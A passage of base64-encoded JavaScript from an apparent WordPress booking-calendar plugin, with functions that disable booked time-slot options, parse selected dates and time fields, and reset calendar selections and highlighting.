lfb3B0aW9uOiAgICAgIGpRdWVyeV9PYmplY3Qge31cclxuXHRcdFx0ICogXHRcdFx0XHRcdFx0XHRcdG5hbWU6ICAgICAgICAgICAgICAgJ3JhbmdldGltZTJbXSdcclxuXHRcdFx0ICogXHRcdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHM6ICAgWyAyMTYwMCwgMjM0MDAgXVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAgLSAwNjozMCdcclxuXHRcdFx0ICogXHQgIFx0XHRcdFx0XHRcdCAgICBkaXNhYmxlZCA9IDFcclxuXHRcdFx0ICogXHRcdFx0XHRcdCAgICAgfVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0ICAuLi5cclxuXHRcdFx0ICogXHRcdFx0XHRcdFx0ICAge1x0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0XHRcdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdzdGFydHRpbWUyW10nXHJcblx0XHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzOiAgIFsgMjE2MDAgXVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAnXHJcblx0XHRcdCAqICAgXHRcdFx0XHRcdFx0XHRkaXNhYmxlZCA9IDBcclxuXHRcdFx0ICogIFx0XHRcdFx0XHQgICAgfVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0IF1cclxuXHRcdFx0ICpcclxuXHRcdFx0ICovXHJcblx0XHRcdGZ1bmN0aW9uIHdwYmNfX2h0bWxfX3RpbWVfZmllbGRfb3B0aW9uc19fc2V0X2Rpc2FibGVkKCB0aW1lX2ZpZWxkc19vYmpfYXJyICl7XHJcblxyXG5cdFx0XHRcdHZhciBqcXVlcnlfb3B0aW9uO1xyXG5cclxuXHRcdFx0XHRmb3IgKCB2YXIgaSA9IDA7IGkgPCB0aW1lX2ZpZWxkc19vYmpfYXJyLmxlbmd0aDsgaSsrICl7XHJcblxyXG5cdFx0XHRcdFx0dmFyIGpxdWVyeV9vcHRpb24gPSB0aW1lX2ZpZWxkc19vYmpfYXJyWyBpIF0uanF1ZXJ5X29wdGlvbjtcclxuXHJcblx0XHRcdFx0XHRpZiAoIDEgPT0gdGltZV9maWVsZHNfb2JqX2FyclsgaSBdLmRpc2FibGVkICl7XHJcblx0XHRcdFx0XHRcdGpxdWVyeV9vcHRpb24ucHJvcCggJ2Rpc2FibGVkJywgdHJ1ZSApOyBcdFx0Ly8gTWFrZSBkaXNhYmxlIHNvbWUgb3B0aW9uc1xyXG5cdFx0XHRcdFx0XHRqcXVlcnlfb3B0aW9uLmFkZENsYXNzKCAnYm9va2VkJyApOyAgICAgICAgICAgXHQvLyBBZGQgXCJib29rZWRcIiBDU1MgY2xhc3NcclxuXHJcblx0XHRcdFx0XHRcdC8vIGlmIHRoaXMgYm9va2VkIGVsZW1lbnQgc2VsZWN0ZWQgLS0+IHRoZW4gZGVzZWxlY3QgIGl0XHJcblx0XHRcdFx0XHRcdGlmICgganF1ZXJ5X29wdGlvbi5wcm9wKCAnc2VsZWN0ZWQnICkgKXtcclxuXHRcdFx0XHRcdFx0XHRqcXVlcnlfb3B0aW9uLnByb3AoICdzZWxlY3RlZCcsIGZhbHNlICk7XHJcblxyXG5cdFx0XHRcdFx0XHRcdGpxdWVyeV9vcHRpb24ucGFyZW50KCkuZmluZCggJ29wdGlvbjpub3QoW2Rpc2FibGVkXSk6Zmlyc3QnICkucHJvcCggJ3NlbGVjdGVkJywgdHJ1ZSApLnRyaWdnZXIoIFwiY2hhbmdlXCIgKTtcclxuXHRcdFx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0XHRcdGpxdWVyeV9vcHRpb24ucHJvcCggJ2Rpc2FibGVkJywgZmFsc2UgKTsgIFx0XHQvLyBNYWtlIGFjdGl2ZSBhbGwgdGltZXNcclxuXHRcdFx0XHRcdFx0anF1ZXJ5X29wdGlvbi5yZW1vdmVDbGFzcyggJ2Jvb2tlZCcgKTsgICBcdFx0Ly8gUmVtb3ZlIGNsYXNzIFwiYm9va2VkXCJcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblxyXG5cdFx0XHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIENoZWNrIGlmIHRoaXMgdGltZV9yYW5nZSB8IFRpbWVfU2xvdCBpcyBGdWxsIERheSAgYm9va2VkXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gdGltZXNsb3RfYXJyX2luX3NlY29uZHNcdFx0LSBbIDM2MDExLCA4NjQwMCBdXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19pc190aGlzX3RpbWVzbG90X19mdWxsX2RheV9ib29rZWQoIHRpbWVzbG90X2Fycl9pbl9zZWNvbmRzICl7XHJcblxyXG5cdFx0aWYgKFxyXG5cdFx0XHRcdCggdGltZXNsb3RfYXJyX2luX3NlY29uZHMubGVuZ3RoID4gMSApXHJcblx0XHRcdCYmICggcGFyc2VJbnQoIHRpbWVzbG90X2Fycl9pbl9zZWNvbmRzWyAwIF0gKSA8IDMwIClcclxuXHRcdFx0JiYgKCBwYXJzZUludCggdGltZXNsb3RfYXJyX2luX3NlY29uZHNbIDEgXSApID4gICggKDI0ICogNjAgKiA2MCkgLSAzMCkgKVxyXG5cdFx0KXtcclxuXHRcdFx0cmV0dXJuIHRydWU7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGZhbHNlO1xyXG5cdH1cclxuXHJcblxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0LyogID09ICBTIGUgbCBlIGMgdCBlIGQgICAgRCBhIHQgZSBzICAvICBUIGkgbSBlIC0gRiBpIGUgbCBkIHMgID09XHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcblx0LyoqXHJcblx0ICogIEdldCBhbGwgc2VsZWN0ZWQgZGF0ZXMgaW4gU1FMIGZvcm1hdCBsaWtlIHRoaXMgWyBcIjIwMjMtMDgtMjNcIiwgXCIyMDIzLTA4LTI0XCIgLCAuLi4gXVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICogQHJldHVybnMge1tdfVx0XHRcdFsgXCIyMDIzLTA4LTIzXCIsIFwiMjAyMy0wOC0yNFwiLCBcIjIwMjMtMDgtMjVcIiwgXCIyMDIzLTA4LTI2XCIsIFwiMjAyMy0wOC0yN1wiLCBcIjIwMjMtMDgtMjhcIiwgXCIyMDIzLTA4LTI5XCIgXVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZ2V0X19zZWxlY3RlZF9kYXRlc19zcWxfX2FzX2FyciggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHR2YXIgc2VsZWN0ZWRfZGF0ZXNfYXJyID0gW107XHJcblx0XHRzZWxlY3RlZF9kYXRlc19hcnIgPSBqUXVlcnkoICcjZGF0ZV9ib29raW5nJyArIHJlc291cmNlX2lkICkudmFsKCkuc3BsaXQoJywnKTtcclxuXHJcblx0XHRpZiAoIHNlbGVjdGVkX2RhdGVzX2Fyci5sZW5ndGggKXtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjguMTAuMVxyXG5cdFx0XHRmb3IgKCBsZXQgaSA9IDA7IGkgPCBzZWxlY3RlZF9kYXRlc19hcnIubGVuZ3RoOyBpKysgKXtcdFx0XHRcdFx0XHQvL0ZpeEluOiAxMC4wLjAuNTZcclxuXHRcdFx0XHRzZWxlY3RlZF9kYXRlc19hcnJbIGkgXSA9IHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdLnRyaW0oKTtcclxuXHRcdFx0XHRzZWxlY3RlZF9kYXRlc19hcnJbIGkgXSA9IHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdLnNwbGl0KCAnLicgKTtcclxuXHRcdFx0XHRpZiAoIHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdLmxlbmd0aCA+IDEgKXtcclxuXHRcdFx0XHRcdHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdID0gc2VsZWN0ZWRfZGF0ZXNfYXJyWyBpIF1bIDIgXSArICctJyArIHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdWyAxIF0gKyAnLScgKyBzZWxlY3RlZF9kYXRlc19hcnJbIGkgXVsgMCBdO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdC8vIFJlbW92ZSBlbXB0eSBlbGVtZW50cyBmcm9tIGFuIGFycmF5XHJcblx0XHRzZWxlY3RlZF9kYXRlc19hcnIgPSBzZWxlY3RlZF9kYXRlc19hcnIuZmlsdGVyKCBmdW5jdGlvbiAoIG4gKXsgcmV0dXJuIHBhcnNlSW50KG4pOyB9ICk7XHJcblxyXG5cdFx0c2VsZWN0ZWRfZGF0ZXNfYXJyLnNvcnQoKTtcclxuXHJcblx0XHRyZXR1cm4gc2VsZWN0ZWRfZGF0ZXNfYXJyO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBhbGwgdGltZSBmaWVsZHMgaW4gdGhlIGJvb2tpbmcgZm9ybSBhcyBhcnJheSAgb2Ygb2JqZWN0c1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICogQHBhcmFtIGlzX29ubHlfc2VsZWN0ZWRfdGltZVxyXG5cdCAqIEByZXR1cm5zIFtdXHJcblx0ICpcclxuXHQgKiBcdFx0RXhhbXBsZTpcclxuXHQgKiBcdFx0XHRcdFx0W1xyXG5cdCAqIFx0XHRcdFx0XHQgXHQgICB7XHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdHZhbHVlX29wdGlvbl8yNGg6ICAgJzA2OjAwIC0gMDY6MzAnXHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHM6ICAgWyAyMTYwMCwgMjM0MDAgXVxyXG5cdCAqIFx0XHRcdFx0XHQgXHQgICBcdFx0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdG5hbWU6ICAgICAgICAgICAgICAgJ3JhbmdldGltZTJbXSdcclxuXHQgKiBcdFx0XHRcdFx0ICAgICB9XHJcblx0ICogXHRcdFx0XHRcdCAgLi4uXHJcblx0ICogXHRcdFx0XHRcdFx0ICAge1xyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHR2YWx1ZV9vcHRpb25fMjRoOiAgICcwNjowMCdcclxuXHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwIF1cclxuXHQgKiBcdFx0XHRcdFx0XHQgICBcdFx0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdG5hbWU6ICAgICAgICAgICAgICAgJ3N0YXJ0dGltZTJbXSdcclxuXHQgKiAgXHRcdFx0XHRcdCAgICB9XHJcblx0ICogXHRcdFx0XHRcdCBdXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19nZXRfX3NlbGVjdGVkX3RpbWVfZmllbGRzX19pbl9ib29raW5nX2Zvcm1fX2FzX2FyciggcmVzb3VyY2VfaWQsIGlzX29ubHlfc2VsZWN0ZWRfdGltZSA9IHRydWUgKXtcclxuXHRcdC8qKlxyXG5cdFx0ICogRmllbGRzIHdpdGggIFtdICBsaWtlIHRoaXMgICBzZWxlY3RbbmFtZT1cInJhbmdldGltZTFbXVwiXVxyXG5cdFx0ICogaXQncyB3aGVuIHdlIGhhdmUgJ211bHRpcGxlJyBpbiBzaG9ydGNvZGU6ICAgW3NlbGVjdCogcmFuZ2V0aW1lIG11bHRpcGxlICBcIjA2OjAwIC0gMDY6MzBcIiAuLi4gXVxyXG5cdFx0ICovXHJcblx0XHR2YXIgdGltZV9maWVsZHNfYXJyPVtcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInJhbmdldGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwicmFuZ2V0aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInN0YXJ0dGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwic3RhcnR0aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cImVuZHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cImVuZHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnW11cIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwiZHVyYXRpb250aW1lJyArIHJlc291cmNlX2lkICsgJ1wiXScsXHJcblx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJkdXJhdGlvbnRpbWUnICsgcmVzb3VyY2VfaWQgKyAnW11cIl0nXHJcblx0XHRcdFx0XHRcdFx0XTtcclxuXHJcblx0XHR2YXIgdGltZV9maWVsZHNfb2JqX2FyciA9IFtdO1xyXG5cclxuXHRcdC8vIExvb3AgYWxsIFRpbWUgRmllbGRzXHJcblx0XHRmb3IgKCB2YXIgY3RmPSAwOyBjdGYgPCB0aW1lX2ZpZWxkc19hcnIubGVuZ3RoOyBjdGYrKyApe1xyXG5cclxuXHRcdFx0dmFyIHRpbWVfZmllbGQgPSB0aW1lX2ZpZWxkc19hcnJbIGN0ZiBdO1xyXG5cclxuXHRcdFx0dmFyIHRpbWVfb3B0aW9uO1xyXG5cdFx0XHRpZiAoIGlzX29ubHlfc2VsZWN0ZWRfdGltZSApe1xyXG5cdFx0XHRcdHRpbWVfb3B0aW9uID0galF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCArICcgJyArIHRpbWVfZmllbGQgKyAnIG9wdGlvbjpzZWxlY3RlZCcgKTtcdFx0XHQvLyBFeGNsdWRlIGNvbmRpdGlvbmFsICBmaWVsZHMsICBiZWNhdXNlIG9mIHVzaW5nICcjYm9va2luZ19mb3JtMyAuLi4nXHJcblx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0dGltZV9vcHRpb24gPSBqUXVlcnkoICcjYm9va2luZ19mb3JtJyArIHJlc291cmNlX2lkICsgJyAnICsgdGltZV9maWVsZCArICcgb3B0aW9uJyApO1x0XHRcdFx0Ly8gQWxsICB0aW1lIGZpZWxkc1xyXG5cdFx0XHR9XHJcblxyXG5cclxuXHRcdFx0Ly8gTG9vcCBhbGwgb3B0aW9ucyBpbiB0aW1lIGZpZWxkXHJcblx0XHRcdGZvciAoIHZhciBqID0gMDsgaiA8IHRpbWVfb3B0aW9uLmxlbmd0aDsgaisrICl7XHJcblxyXG5cdFx0XHRcdHZhciBqcXVlcnlfb3B0aW9uID0galF1ZXJ5KCB0aW1lX29wdGlvblsgaiBdICk7XHRcdC8vIEdldCBvbmx5ICBzZWxlY3RlZCBvcHRpb25zIFx0Ly9qUXVlcnkoIHRpbWVfZmllbGQgKyAnIG9wdGlvbjplcSgnICsgaiArICcpJyApO1xyXG5cdFx0XHRcdHZhciB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnIgPSBqcXVlcnlfb3B0aW9uLnZhbCgpLnNwbGl0KCAnLScgKTtcclxuXHRcdFx0XHR2YXIgdGltZXNfYXNfc2Vjb25kcyA9IFtdO1xyXG5cclxuXHRcdFx0XHQvLyBHZXQgdGltZSBhcyBzZWNvbmRzXHJcblx0XHRcdFx0aWYgKCB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnIubGVuZ3RoICl7XHRcdFx0XHQgXHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdFx0XHRmb3IgKCBsZXQgaSA9IDA7IGkgPCB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnIubGVuZ3RoOyBpKysgKXtcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjU2XHJcblx0XHRcdFx0XHRcdC8vIHZhbHVlX29wdGlvbl9zZWNvbmRzX2FycltpXSA9ICcxNDowMCAnICB8ICcgMTY6MDAnICAgKGlmIGZyb20gJ3JhbmdldGltZScpIGFuZCAnMTY6MDAnICBpZiAoc3RhcnQvZW5kIHRpbWUpXHJcblxyXG5cdFx0XHRcdFx0XHR2YXIgc3RhcnRfZW5kX3RpbWVzX2FyciA9IHZhbHVlX29wdGlvbl9zZWNvbmRzX2FyclsgaSBdLnRyaW0oKS5zcGxpdCggJzonICk7XHJcblxyXG5cdFx0XHRcdFx0XHR2YXIgdGltZV9pbl9zZWNvbmRzID0gcGFyc2VJbnQoIHN0YXJ0X2VuZF90aW1lc19hcnJbIDAgXSApICogNjAgKiA2MCArIHBhcnNlSW50KCBzdGFydF9lbmRfdGltZXNfYXJyWyAxIF0gKSAqIDYwO1xyXG5cclxuXHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kcy5wdXNoKCB0aW1lX2luX3NlY29uZHMgKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdHRpbWVfZmllbGRzX29ial9hcnIucHVzaCgge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J25hbWUnICAgICAgICAgICAgOiBqUXVlcnkoICcjYm9va2luZ19mb3JtJyArIHJlc291cmNlX2lkICsgJyAnICsgdGltZV9maWVsZCApLmF0dHIoICduYW1lJyApLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3ZhbHVlX29wdGlvbl8yNGgnOiBqcXVlcnlfb3B0aW9uLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxdWVyeV9vcHRpb24nICAgOiBqcXVlcnlfb3B0aW9uLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3RpbWVzX2FzX3NlY29uZHMnOiB0aW1lc19hc19zZWNvbmRzXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblxyXG5cdFx0Ly8gVGV4dDogICBbc3RhcnR0aW1lXSAtIFtlbmR0aW1lXSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHRcdHZhciB0ZXh0X3RpbWVfZmllbGRzX2Fycj1bXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdpbnB1dFtuYW1lPVwic3RhcnR0aW1lJyArIHJlc291cmNlX2lkICsgJ1wiXScsXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdpbnB1dFtuYW1lPVwiZW5kdGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XTtcclxuXHRcdGZvciAoIHZhciB0Zj0gMDsgdGYgPCB0ZXh0X3RpbWVfZmllbGRzX2Fyci5sZW5ndGg7IHRmKysgKXtcclxuXHJcblx0XHRcdHZhciB0ZXh0X2pxdWVyeSA9IGpRdWVyeSggJyNib29raW5nX2Zvcm0nICsgcmVzb3VyY2VfaWQgKyAnICcgKyB0ZXh0X3RpbWVfZmllbGRzX2FyclsgdGYgXSApO1x0XHRcdFx0XHRcdFx0XHQvLyBFeGNsdWRlIGNvbmRpdGlvbmFsICBmaWVsZHMsICBiZWNhdXNlIG9mIHVzaW5nICcjYm9va2luZ19mb3JtMyAuLi4nXHJcblx0XHRcdGlmICggdGV4dF9qcXVlcnkubGVuZ3RoID4gMCApe1xyXG5cclxuXHRcdFx0XHR2YXIgdGltZV9faF9tX19hcnIgPSB0ZXh0X2pxdWVyeS52YWwoKS50cmltKCkuc3BsaXQoICc6JyApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyAnMTQ6MDAnXHJcblx0XHRcdFx0aWYgKCAwID09IHRpbWVfX2hfbV9fYXJyLmxlbmd0aCApe1xyXG5cdFx0XHRcdFx0Y29udGludWU7XHRcdFx0XHRcdFx0XHRcdFx0Ly8gTm90IGVudGVyZWQgdGltZSB2YWx1ZSBpbiBhIGZpZWxkXHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdGlmICggMSA9PSB0aW1lX19oX21fX2Fyci5sZW5ndGggKXtcclxuXHRcdFx0XHRcdGlmICggJycgPT09IHRpbWVfX2hfbV9fYXJyWyAwIF0gKXtcclxuXHRcdFx0XHRcdFx0Y29udGludWU7XHRcdFx0XHRcdFx0XHRcdC8vIE5vdCBlbnRlcmVkIHRpbWUgdmFsdWUgaW4gYSBmaWVsZFxyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0dGltZV9faF9tX19hcnJbIDEgXSA9IDA7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdHZhciB0ZXh0X3RpbWVfaW5fc2Vjb25kcyA9IHBhcnNlSW50KCB0aW1lX19oX21fX2FyclsgMCBdICkgKiA2MCAqIDYwICsgcGFyc2VJbnQoIHRpbWVfX2hfbV9fYXJyWyAxIF0gKSAqIDYwO1xyXG5cclxuXHRcdFx0XHR2YXIgdGV4dF90aW1lc19hc19zZWNvbmRzID0gW107XHJcblx0XHRcdFx0dGV4dF90aW1lc19hc19zZWNvbmRzLnB1c2goIHRleHRfdGltZV9pbl9zZWNvbmRzICk7XHJcblxyXG5cdFx0XHRcdHRpbWVfZmllbGRzX29ial9hcnIucHVzaCgge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J25hbWUnICAgICAgICAgICAgOiB0ZXh0X2pxdWVyeS5hdHRyKCAnbmFtZScgKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd2YWx1ZV9vcHRpb25fMjRoJzogdGV4dF9qcXVlcnkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanF1ZXJ5X29wdGlvbicgICA6IHRleHRfanF1ZXJ5LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3RpbWVzX2FzX3NlY29uZHMnOiB0ZXh0X3RpbWVzX2FzX3NlY29uZHNcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gdGltZV9maWVsZHNfb2JqX2FycjtcclxuXHR9XHJcblxyXG5cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vKiAgPT0gIFMgVSBQIFAgTyBSIFQgICAgZm9yICAgIEMgQSBMIEUgTiBEIEEgUiAgPT1cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBDYWxlbmRhciBkYXRlcGljayAgSW5zdGFuY2VcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWQgIG9mIGJvb2tpbmcgcmVzb3VyY2VcclxuXHQgKiBAcmV0dXJucyB7KnxudWxsfVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX2dldF9pbnN0KCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocmVzb3VyY2VfaWQpICl7XHJcblx0XHRcdHJlc291cmNlX2lkID0gJzEnO1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmICggalF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5sZW5ndGggPiAwICl7XHJcblx0XHRcdHJldHVybiBqUXVlcnkuZGF0ZXBpY2suX2dldEluc3QoIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkuZ2V0KCAwICkgKTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gbnVsbDtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIFVuc2VsZWN0ICBhbGwgZGF0ZXMgaW4gY2FsZW5kYXIgYW5kIHZpc3VhbGx5IHVwZGF0ZSB0aGlzIGNhbGVuZGFyXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFx0SUQgb2YgYm9va2luZyByZXNvdXJjZVxyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVx0XHR0cnVlIG9uIHN1Y2Nlc3MgfCBmYWxzZSwgIGlmIG5vIHN1Y2ggIGNhbGVuZGFyXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fdW5zZWxlY3RfYWxsX2RhdGVzKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocmVzb3VyY2VfaWQpICl7XHJcblx0XHRcdHJlc291cmNlX2lkID0gJzEnO1xyXG5cdFx0fVxyXG5cclxuXHRcdHZhciBpbnN0ID0gd3BiY19jYWxlbmRhcl9fZ2V0X2luc3QoIHJlc291cmNlX2lkIClcclxuXHJcblx0XHRpZiAoIG51bGwgIT09IGluc3QgKXtcclxuXHJcblx0XHRcdC8vIFVuc2VsZWN0IGFsbCBkYXRlcyBhbmQgc2V0ICBwcm9wZXJ0aWVzIG9mIERhdGVwaWNrXHJcblx0XHRcdGpRdWVyeSggJyNkYXRlX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS52YWwoICcnICk7ICAgICAgLy9GaXhJbjogNS40LjNcclxuXHRcdFx0aW5zdC5zdGF5T3BlbiA9IGZhbHNlO1xyXG5cdFx0XHRpbnN0LmRhdGVzID0gW107XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fdXBkYXRlRGF0ZXBpY2soIGluc3QgKTtcclxuXHJcblx0XHRcdHJldHVybiB0cnVlXHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGZhbHNlO1xyXG5cclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIENsZWFyIGRheXMgaGlnaGxpZ2h0aW5nIGluIEFsbCBvciBzcGVjaWZpYyBDYWxlbmRhcnNcclxuXHQgKlxyXG4gICAgICogQHBhcmFtIHJlc291cmNlX2lkICAtIGNhbiBiZSBza2lwZWQgdG8gIGNsZWFyIGhpZ2hsaWdodGluZyBpbiBhbGwgY2FsZW5kYXJzXHJcbiAgICAgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyc19fY2xlYXJfZGF5c19oaWdobGlnaHRpbmcoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcmVzb3VyY2VfaWQgKSApe1xyXG5cclxuXHRcdFx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKyAnIC5kYXRlcGljay1kYXlzLWNlbGwtb3ZlcicgKS5yZW1vdmVDbGFzcyggJ2RhdGVwaWNrLWRheXMtY2VsbC1vdmVyJyApO1x0XHQvLyBDbGVhciBpbiBzcGVjaWZpYyBjYWxlbmRhclxyXG5cclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdGpRdWVyeSggJy5kYXRlcGljay1kYXlzLWNlbGwtb3ZlcicgKS5yZW1vdmVDbGFzcyggJ2RhdGVwaWNrLWRheXMtY2VsbC1vdmVyJyApO1x0XHRcdFx0XHRcdFx0XHQvLyBDbGVhciBpbiBhbGwgY2FsZW5kYXJzXHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBTY3JvbGwgdG8gc3BlY2lmaWMgbW9udGggaW4gY2FsZW5kYXJcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJj